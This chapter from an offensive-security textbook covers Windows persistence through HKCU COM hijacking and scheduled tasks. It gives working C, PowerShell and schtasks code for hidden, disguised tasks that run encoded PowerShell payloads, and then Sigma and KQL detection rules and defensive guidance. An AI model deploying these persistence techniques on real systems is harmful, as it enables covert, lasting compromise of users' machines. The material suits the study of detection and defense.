Chapter 177

COM Hijacking and Scheduled Tasks

COM hijacking and scheduled tasks are the two persistence mechanisms most commonly observed in real-world intrusions because both operate without requiring administrative privilege in their most useful forms. COM hijacking via HKCU requires no elevation. Scheduled tasks can be created at user-level. Both produce telemetry that a well-tuned detection stack will catch — but only if the right event sources are enabled.

Scenario

You have a shell as a standard domain user (no admin). AppLocker allows signed binaries from C:\Windows\. You need persistence that survives a reboot, runs your payload each time the user logs in, does not require admin rights, and does not drop an executable into a monitored path. COM hijacking via HKCU is the answer — the user registry is always writable, and Windows COM resolution checks HKCU before HKLM.

COM Class Resolution Order

Windows COM class resolution — HKCU wins over HKLM: CoCreateInstance(CLSID_X) called │ ▼ 1. HKCU\Software\Classes\CLSID\{X}\InprocServer32 → if exists: load this DLL (user can write HKCU without admin) │ ▼ (only if step 1 not found) 2. HKLM\Software\Classes\CLSID\{X}\InprocServer32 → load the registered system DLL Attack: register a CLSID in HKCU that has NO HKCU entry today (a "phantom" registration — HKLM has it, HKCU does not). When any process calls CoCreateInstance for that CLSID, your DLL loads in its context. Key target: CLSIDs loaded by explorer.exe, mmc.exe, or Task Scheduler. The load happens in the calling process context — persistence without any new process creation.

COM Hijacking via HKCU Phantom Registration

// Implant a malicious DLL under HKCU for a CLSID that explorer loads at login.
// No admin required. The DLL runs inside explorer.exe — no child process.

#include <windows.h>

// High-value CLSIDs loaded by explorer.exe at startup:
// {BCDE0395-E52F-467C-8E3D-C4579291692E} — MruPidlList
// {D3E34B21-9D75-101A-8C3D-00AA001A1652} — "Windows NT Shell"
// {331F2AC5-28B8-4B4C-A36E-533D8CB07E4D} — Explorer Frame
// Use procmon to find CLSIDs your target app loads then checks HKCU first.

VOID InstallComHijack(LPCWSTR clsid, LPCWSTR dllPath) {
    WCHAR keyPath[200];
    swprintf_s(keyPath,
        L"Software\\Classes\\CLSID\\%s\\InprocServer32", clsid);

    HKEY hKey;
    RegCreateKeyExW(HKEY_CURRENT_USER, keyPath, 0, NULL,
        REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL);

    // Set default value to malicious DLL path
    RegSetValueExW(hKey, NULL, 0, REG_SZ,
        (BYTE*)dllPath, (DWORD)((wcslen(dllPath)+1)*sizeof(WCHAR)));

    // Threading model must match what the host expects (usually "Apartment" or "Both")
    LPCWSTR tm = L"Apartment";
    RegSetValueExW(hKey, L"ThreadingModel", 0, REG_SZ,
        (BYTE*)tm, (DWORD)((wcslen(tm)+1)*sizeof(WCHAR)));

    RegCloseKey(hKey);
}

// Malicious DLL must implement DllGetClassObject to satisfy COM infrastructure.
// Minimal stub that runs shellcode in DllMain and returns S_OK from DllGetClassObject:
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) {
    *ppv = NULL; return E_NOINTERFACE;  // COM falls back to HKLM version
}

Finding Hijackable CLSIDs

# Procmon-based discovery: run procmon with filter:
#   Operation = RegQueryValue
#   Path contains HKCU\Software\Classes\CLSID
#   Result = NAME NOT FOUND
# These are CLSIDs explorer/mmc/task scheduler checked in HKCU and didn't find.
# Each one is a potential hijack target.

# PowerShell: find CLSIDs registered in HKLM but NOT in HKCU (phantom candidates)
$hklmCLSIDs = Get-ChildItem "HKLM:\Software\Classes\CLSID" |
    Where-Object { $_.GetSubKeyNames() -contains "InprocServer32" } |
    Select-Object -ExpandProperty PSChildName

$hkcuCLSIDs = Get-ChildItem "HKCU:\Software\Classes\CLSID" -ErrorAction SilentlyContinue |
    Select-Object -ExpandProperty PSChildName

$phantom = $hklmCLSIDs | Where-Object { $hkcuCLSIDs -notcontains $_ }
$phantom.Count  # typically 5000-10000 candidates on a standard system

# Filter to CLSIDs that explorer.exe actually loads (from procmon capture):
$explorerCLSIDs = @(
    "{BCDE0395-E52F-467C-8E3D-C4579291692E}",
    "{D3E34B21-9D75-101A-8C3D-00AA001A1652}"
    # ... from procmon results
)
$explorerCLSIDs | Where-Object { $phantom -contains $_ }

Scheduled Task Creation

# schtasks: create a task that runs at logon as the current user (no admin needed)
# /RU "": run as calling user; /SC ONLOGON: trigger at logon
schtasks /Create /TN "MicrosoftEdgeUpdateTaskMachineCore" /TR "powershell -w hidden -ep bypass -enc <B64>" /SC ONLOGON /RU "%USERNAME%" /F

# With SYSTEM privilege (admin required):
schtasks /Create /TN "WindowsSecurityHealth" /TR "C:\Temp\implant.exe" /SC ONSTART /RU SYSTEM /F

# Query existing tasks:
schtasks /Query /TN "MicrosoftEdgeUpdateTaskMachineCore" /FO LIST /V

# C implementation via ITaskService COM interface (programmatic — no schtasks.exe):
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")

HRESULT CreateHiddenTask(LPCWSTR taskName, LPCWSTR command) {
    ITaskService* svc; CoCreateInstance(CLSID_TaskScheduler, NULL,
        CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&svc);
    svc->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());

    ITaskFolder* rootFolder;
    svc->GetFolder(L"\\", &rootFolder);

    ITaskDefinition* task;
    svc->NewTask(0, &task);

    // Set registration info
    IRegistrationInfo* ri; task->get_RegistrationInfo(&ri);
    ri->put_Description(L"Windows Update Task");

    // Logon trigger
    ITriggerCollection* triggers; task->get_Triggers(&triggers);
    ITrigger* trig; triggers->Create(TASK_TRIGGER_LOGON, &trig);

    // Action: execute command
    IActionCollection* actions; task->get_Actions(&actions);
    IAction* action; actions->Create(TASK_ACTION_EXEC, &action);
    IExecAction* exec; action->QueryInterface(IID_IExecAction, (void**)&exec);
    exec->put_Path(L"powershell.exe");
    exec->put_Arguments(command);

    // Register task
    IRegisteredTask* reg;
    HRESULT hr = rootFolder->RegisterTaskDefinition(
        (_bstr_t)taskName, task,
        TASK_CREATE_OR_UPDATE, _variant_t(), _variant_t(),
        TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(L""), &reg);

    // Cleanup (omitted for brevity)
    return hr;
}

XML-Based Scheduled Task

<!-- Task XML template — import with schtasks /Create /XML task.xml /TN "name"
     Hidden flag, SYSTEM privilege, runs on system startup -->
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Description>Windows Security Health Update</Description>
  </RegistrationInfo>
  <Triggers>
    <BootTrigger><Enabled>true</Enabled></BootTrigger>
  </Triggers>
  <Settings>
    <Hidden>true</Hidden>   <!-- hides from Task Scheduler UI -->
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>  <!-- no time limit -->
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
  </Settings>
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-18</UserId>  <!-- SYSTEM -->
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Actions>
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-w hidden -ep bypass -enc PAYLOAD_B64</Arguments>
    </Exec>
  </Actions>
</Task>

Detection Engineering

title: COM Hijacking via HKCU InprocServer32 Registration
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    EventID: 13  # Sysmon registry value set
    TargetObject|contains: '\Software\Classes\CLSID\'
    TargetObject|endswith: '\InprocServer32'
    Details|contains:
      - '\AppData\'
      - '\Temp\'
      - '\Users\Public\'
  filter_hklm:
    TargetObject|startswith: 'HKLM'
  condition: selection AND NOT filter_hklm
level: high
tags: [attack.persistence, T1546.015]

title: Scheduled Task Created with Hidden Flag or SYSTEM Principal
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4698  # Scheduled Task Created
  hidden_or_system:
    TaskContent|contains:
      - '<Hidden>true</Hidden>'
      - 'S-1-5-18'  # SYSTEM SID
  condition: selection AND hidden_or_system
level: high

-- MDE KQL: scheduled tasks with suspicious PowerShell arguments
DeviceEvents
| where ActionType == "ScheduledTaskCreated"
| extend taskXml = tostring(AdditionalFields.TaskContent)
| where taskXml has_any ("-enc", "-EncodedCommand", "IEX",
                          "DownloadString", "WebClient")
| project Timestamp, DeviceName, InitiatingProcessAccountName,
          InitiatingProcessFileName, taskXml

-- HKCU COM hijacks written from unusual processes
DeviceRegistryEvents
| where RegistryKey has "\\Software\\Classes\\CLSID\\"
| where RegistryKey has "\\InprocServer32"
| where RegistryValueData has_any ("\\Temp\\", "\\AppData\\")
| project Timestamp, DeviceName, InitiatingProcessFileName,
          RegistryKey, RegistryValueData

Q&A

COM hijacking via HKCU requires no admin rights — why doesn't Microsoft block this, and what would a practical enterprise defense look like?

Microsoft does not block HKCU COM registration because it is a deliberately designed feature. User-mode COM servers are a legitimate mechanism — applications routinely register COM objects per-user to avoid needing administrator privileges for installation. Email clients, browser extensions, shell extensions, and developer tools all use HKCU COM registration. Blocking it would break a substantial body of legitimate software, and since HKCU is owned by the user, there is no privilege boundary violation — the user is writing to their own registry space.

The asymmetry attackers exploit is that HKCU is checked before HKLM. This was a deliberate design decision to allow users to override system-wide COM registrations, but it means any process running as that user (including privileged applications like explorer.exe, mmc.exe, and Task Scheduler) will load the user's version instead of the system version. The attack is not a vulnerability — it is using the system exactly as designed.

Practical enterprise defenses operate at several levels. First, Sysmon Event 13 watching for HKCU CLSID InprocServer32 writes with paths outside of expected software installation directories catches most deployments; the rule should fire any time the DLL path points to AppData\Local\Temp, Users\Public, or any non-application directory. Second, application allowlisting that extends to DLL loading (Microsoft WDAC with deny rules on non-allowlisted DLLs) would block the hijack DLL from loading — the HKCU key exists but the DLL is blocked by the kernel. Third, periodic baseline comparison of HKCU CLSID registrations via EDR or configuration management can catch new entries that differ from the organizational baseline. The combination of Sysmon rule for creation events and a periodic registry audit for persistence catches both the initial install and any missed real-time alerts.